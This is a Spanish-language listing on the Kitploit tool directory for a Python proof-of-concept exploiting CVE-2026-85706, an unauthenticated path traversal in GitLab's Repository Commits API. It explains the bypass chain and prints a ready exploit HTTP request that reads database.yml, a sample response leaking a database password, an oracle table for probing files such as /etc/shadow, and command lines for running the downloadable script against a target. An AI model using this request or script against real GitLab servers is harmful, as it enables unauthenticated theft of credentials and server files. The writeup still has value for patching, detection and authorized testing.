Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85706 — PoC en Python para CVE-2026-85706, un path traversal no autenticado en la API Repository Commits de GitLab CE/EE que filtra archivos locales arbitrarios mediante un oráculo de cuatro estados. | Kitploit
Herramientas/GitHubGitHub/mhtsec/cve-2026-85706
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

PoC en Python para CVE-2026-85706, un path traversal no autenticado en la API Repository Commits de GitLab CE/EE que filtra archivos locales arbitrarios mediante un oráculo de cuatro estados.

1hace 11h 22mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

CVE-2026-85706: GitLab CE/EE path traversal no autorizado

  • CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • Componente: GitLab CE/EE Repository Commits API (variante body-upload de Workhorse)
  • Afecta a: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
  • Corrección: 19.1.8 / 19.2.6 / 19.3.2 (parche crítico publicado el 2026-09-10)
  • Impacto: path traversal sin necesidad de ninguna cuenta para leer archivos locales arbitrarios del servidor; si el contenido se refleja o no depende del archivo objetivo, lo que constituye un oráculo de cuatro estados (ver «Límites de reflexión»)

Cadena de vulnerabilidad

La API de «crear commit» de GitLab (POST /api/v4/projects/:id/repository/commits) permite incluir el contenido de numerosos archivos en una sola petición. Para evitar que cuerpos de petición enormes entren directamente en el parser de Rails, Workhorse primero vuelca el cuerpo de la petición a un archivo temporal y luego inyecta metadatos como file.path / file.size en la petición reenviada; el endpoint de Rails vuelve a leer el archivo según esos parámetros. La cadena de vulnerabilidad se compone de la superposición de cuatro eslabones:

  1. La autenticación ocurre después de la lectura del archivo: la entrada post ':id/repository/commits' solo tiene require_gitlab_workhorse! (que únicamente verifica que «viene reenviada por Workhorse»); el authenticate! real está escondido más adelante en authorize_push_to_branch!, y la lectura por path traversal ocurre antes de este.
  2. Los metadatos del volcado a disco provienen de los parámetros de la petición: file_params_from_body_upload toma directamente los parámetros de la petición file.path / file.size / Content-Type como si fueran los metadatos inyectados por Workhorse, sin distinguir el origen de los parámetros, de modo que File.read(file_path) permite recorrer cualquier ruta local.
  3. Reflexión de errores de parseo de Rack: cuando Content-Type=application/x-www-form-urlencoded, el contenido del archivo se entrega a Rack::Utils.parse_nested_query para su parseo; una secuencia % inválida en el contenido provoca ArgumentError: invalid %-encoding (<contenido del componente>), que mediante bad_request! se refleja tal cual en la respuesta 400. La reflexión es por orden de llegada: & / = son límites de componente, el parseo se interrumpe en el componente donde se encuentra el primer % inválido y refleja ese componente; si no hay separadores, todo el archivo se refleja como un único componente (las secuencias de escape hexadecimales %xx válidas no provocan error).
  4. La barra final elude la reescritura de Workhorse: atacar directamente el endpoint principal activa la intercepción de body-upload de Workhorse (que coincide estrictamente con .../repository/commits\z), y los parámetros falsificados quedan absorbidos dentro del contenido del archivo volcado a disco. Añadir / al final de la URL hace que no coincida con esa regla y caiga en el proxy inverso firmado de respaldo: el cuerpo de la petición original, junto con los parámetros falsificados, se reenvía tal cual a Rails y con un JWT válido, por lo que require_gitlab_workhorse! pasa; tras la normalización de la barra final por parte de Grape, sigue alcanzando el handler vulnerable.

Requisito previo: el :id de la URL debe ser un proyecto realmente existente (basta con cualquier proyecto público); en todo el proceso no se necesita iniciar sesión.

Petición de explotación (el database.yml en un despliegue con BD externa; si la contraseña contiene una secuencia % inválida, se refleja el fragmento completo):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

Respuesta (se refleja el componente completo donde se encuentra el primer % inválido):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

Límites de reflexión (oráculo de cuatro estados)

La lectura se ejecuta con la identidad del usuario git del proceso Puma, y la respuesta constituye un oráculo de cuatro estados:

Alcance real de lectura en un despliegue por defecto (comprobado):

  • El campo de batalla principal para leer contenido son los archivos que contienen % de forma natural: logs y artefactos de compilación de CI, adjuntos subidos por usuarios, database.yml de despliegues con BD externa. En el database.yml con autenticación peer por socket local por defecto el campo de contraseña está vacío; solo tiene valor en despliegues con BD externa.
  • gitlab.yml: los comentarios de la plantilla renderizada ya contienen secuencias como 95%, %{key} en la cabecera del archivo (aproximadamente en la línea 19), mientras que la configuración de credenciales (incoming_email, LDAP, almacenamiento de objetos, etc.) está después de la línea 170; el orden de llegada implica que en un despliegue por defecto solo se puede reflejar el segmento de cabecera, el segmento de credenciales no se puede leer; solo es legible en variantes de despliegue sin secuencias interferentes (plantillas personalizadas, etc.). Nótese además que la contraseña SMTP (gitlab_rails['smtp_password']) no se renderiza en gitlab.yml; lo que realmente se renderiza son las credenciales de incoming_email, LDAP y object_store.
  • secrets.yml es hex puro sin %, no se puede leer su contenido (401); , las claves privadas TLS y los archivos de copia de seguridad son root-only (solo oráculo 500).

Uso del script

Implementado con la biblioteca estándar de Python 3, sin dependencias de terceros. El script interpreta automáticamente los cuatro estados según la tabla anterior.

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # por defecto lee gitlab.yml (verificación rápida de reflexión)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

Salida de ejemplo (lectura de gitlab.yml en despliegue por defecto: se refleja el segmento de cabecera, no el de credenciales):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

Solo para pruebas de seguridad autorizadas e investigación de vulnerabilidades.

Descargar herramienta
RespuestaSignificadoEjemplo
400 local file not presentEl archivo no existe/etc/nonexistent
500 Internal Server ErrorExiste pero el usuario git no tiene permiso de lectura (Errno::EACCES no gestionado); los errores de parseo de la rama multipart sobre archivos legibles también acaban en 500/etc/shadow, /etc/gitlab/gitlab-secrets.json
401 UnauthorizedExiste y es legible, pero el contenido no tiene secuencias % inválidas, no se refleja/etc/passwd, /proc/self/environ
400 invalid %-encoding (<contenido>)Existe, es legible y contiene una secuencia % inválida: se refleja el componente completo donde se encuentralogs que contienen %, artefactos de compilación de CI, database.yml de BD externa
gitlab.rb
  • El propio oráculo de cuatro estados es también una primitiva de reconocimiento: sondear la estructura de rutas internas, la autoinspección de procesos vía /proc/self/*, y detectar la existencia de proyectos privados convirtiendo el ID de proyecto a la ruta @hashed.
  • ParámetroDescripción
    -tDirección de GitLab objetivo (obligatorio), p. ej. http://<target>:<port>
    -fRuta absoluta a leer (por defecto /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
    -pID de proyecto, basta con cualquier proyecto realmente existente (por defecto 1)
    -oGuardar el contenido leído en un archivo local